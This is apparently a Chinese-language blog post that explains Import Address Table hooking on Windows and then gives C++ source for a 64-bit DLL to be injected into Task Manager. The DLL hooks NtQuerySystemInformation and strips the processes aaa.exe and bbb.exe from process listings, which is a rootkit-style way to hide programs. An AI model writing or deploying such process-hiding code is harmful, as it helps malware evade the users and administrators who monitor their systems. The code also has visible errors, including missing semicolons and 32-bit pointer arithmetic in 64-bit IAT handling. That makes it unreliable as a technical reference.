1 .技术与实现
每个调用的 API 函数地址都保存在 IAT 表中。 API 函数调用时,每个输入节( IMPORT SECTION )所指向的 IAT 结构如下图所示。
程序中每个调用API 函数的CALL指令所使用的地址都是相应函数登记在IAT表的地址。所以为了截获API 函数,我们将IAT表中的地址换成用户自己的API PROXY函数地址,这样每个API调用都是先调用用户自己的API PROXY函数。在这个函数中我们可以完成函数名称的记录、参数的记录、调用原来的过程,并在返回时记录结果。
2.源码
// win64 注入dll到需要实现隐藏aaa.exe bbb.exe进程的程序中 入task任务管理器
#include "stdafx.h"
#include <stdio.h>
#include <shlwapi.h>
#include <process.h>
#include <Commctrl.h>
#include "tlhelp32.h"
#pragma comment(lib,"ntdll.lib")
#define STATUS_SUCCESS ((NTSTATUS) 0x00000000L)
typedef int (WINAPI *PFNMESSAGEBOX)(HWND, LPCSTR, LPCSTR, UINT uType);
//new messagebox function
typedef struct _MY_SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation, __in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)::GetProcAddress(::GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation, __in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength) {
NTSTATUS status = ((PNT_QUERY_SYSTEM_INFORMATION)OriginalNtQuerySystemInformation)(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if (SystemProcessInformation == SystemInformationClass &&
STATUS_SUCCESS == status) {
PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
PMY_SYSTEM_PROCESS_INFORMATION pNext =
(PMY_SYSTEM_PROCESS_INFORMATION)SystemInformation;
do {
pCurrent = pNext;
pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent +
pCurrent->NextEntryOffset);
if (!_wcsnicmp(pNext->ImageName.Buffer, L"aaa.exe",
pNext->ImageName.Length) ||
!_wcsnicmp(pNext->ImageName.Buffer, L"bbb.exe",
pNext->ImageName.Length))
{
if (0 == pNext->NextEntryOffset) {
pCurrent->NextEntryOffset = 0;
}
else {
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
pNext = pCurrent;
// pCurrent = pNext;
}
} while (pCurrent->NextEntryOffset != 0);
}
return status;
}
//#pragma comment(lib,"th32.lib")
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeaders;
PIMAGE_OPTIONAL_HEADER pOptHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
PIMAGE_THUNK_DATA pThunkData;
PIMAGE_IMPORT_BY_NAME pImportByName;
HMODULE hMod;
void ThreadProc(void *param);//线程函数
void ThreadProc(void *param)
{
//------------hook api----------------
hMod = GetModuleHandle(NULL);
char tmp[256];
pDosHeader = (PIMAGE_DOS_HEADER)hMod;
pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE *)hMod + pDosHeader->e_lfanew);
pOptHeader = (PIMAGE_OPTIONAL_HEADER)&(pNTHeaders->OptionalHeader);
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)hMod + pOptHeader->DataDirectory[1].VirtualAddress);
while (pImportDescriptor->FirstThunk)
{
char * dllname = (char *)((BYTE *)hMod + pImportDescriptor->Name);
pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)hMod + pImportDescriptor->OriginalFirstThunk);
int no = 1;
while (pThunkData->u1.Function)
{
char * funname = (char *)((BYTE *)hMod + (DWORD)pThunkData->u1.AddressOfData + 2);
// PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)pImportDescriptor->FirstThunk) + (no - 1);
PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)(pImportDescriptor->FirstThunk ));
lpAddr = lpAddr + no - 1;
PULONGLONG lpAddrFun = (PULONGLONG)lpAddr
//修改内存的部分
// if(!strcmp(funname,"NtQuerySystemInformation"))
if ((*lpAddr) == (DWORD)OriginalNtQuerySystemInformation) // 查找需要替换的函数
{
//修改内存页的属性
DWORD dwOLD;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(lpAddrFun, &mbi, sizeof(mbi)); //lpAddr
VirtualProtect(lpAddrFun, sizeof(ULONGLONG), PAGE_READWRITE, &dwOLD);
*lpAddrFun = (ULONGLONG)HookedNtQuerySystemInformation;
VirtualProtect(lpAddr, sizeof(ULONGLONG), dwOLD, 0)
}
//---------
no+=2;
pThunkData++;
}
pImportDescriptor++;
}
//-------------------HOOK END-----------------
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
_beginthread(ThreadProc, 0, NULL);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}